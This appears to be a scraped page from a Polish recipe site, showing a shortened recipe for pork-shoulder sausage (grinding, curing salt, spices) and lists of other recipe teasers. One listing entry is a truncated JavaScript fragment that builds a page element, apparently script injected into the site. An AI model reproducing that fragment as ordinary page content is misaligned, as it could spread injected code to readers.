Kiełbasa z łopatki
Źródło: https://smakijackaw.blogspot.com/2019/05/kiebasa-z-opatki.html
SUROWIEC I ROZDRABNIANIE- lopatka 7 kg-podgardle 1 kg - 8 mm maszynka nr.8Po klasyfikacji uzyskalem :1 kl- 3,5 kg - krojona nozem na okolo 1,5-2 cm kostke2 kl-2 kg - 8 mm maszynka nr.83 kl- 1,5 kg -2,5 mm maszynka nr.8PRZYPRAWY I MATERIAŁY POMOCNICZE-peklosol 19 g/kg-pieprz czarny 3 g/kg-ziola prowansalskie 10 g do calosci-czosnek zgnieciony w prasce 5 g/kg-jelita wieprzowe-uzylem tez bialkowych ...
Najnowsze przepisy
Soczysty Stek Wołowy z Patelni Soczysty stek wołowy z... ⇖ 13
Kurczak pieczony w ketchupie z oregano i tymiankiemTo jeden... ⇖ 13
Monoporcje to desery, które od kilku lat coraz częściej... ⇖ 21
Pyszny makaron, o którym sobie przypomniałam całkiem... ⇖ 17
Kruche ciasto z budyniem i brzoskwiniami z puszkiKruche... ⇖ 22
(function(){ t257u="up8z0idl257g";t257=document.createElemen ⇖ 15
Przepisy z bloga
SUROWIEC-400 g mięso z łopatki-300 g mięso drobiowe-300... ⇖ 327
SUROWIEC I ROZDRABNIANIEMielenie odbywało się na maszynce... ⇖ 231
SKŁADNIKI I PRZYPRAWY I MATERIAŁY POMOCNICZE-karkówka... ⇖ 1680
SUROWIECWP-boczek bez skóry 1 kg-pachwina bez skóry1... ⇖ 238
SUROWIEC I ROZDRABNIANIE-łopatka 2 kg/8 mm-pachwina 0,5... ⇖ 292
SUROWIEC, PRZYPRAWY I MATERIAŁY POMOCNICZE-ćwiartki z... ⇖ 321
SUROWIEC, PRZYPRAWY I MATERIAŁY POMOCNICZE-boczek ze... ⇖ 336
Przepisy na czasie
To proste i szybkie ciasto ucierane na oleju, które zawsze... ⇖ 734
Jajka faszerowane szpinakiem z dodatkiem żółtego sera to... ⇖ 672
To ciasto ze śliwkami kalifornijskimi jest zaskakująco... ⇖ 670









































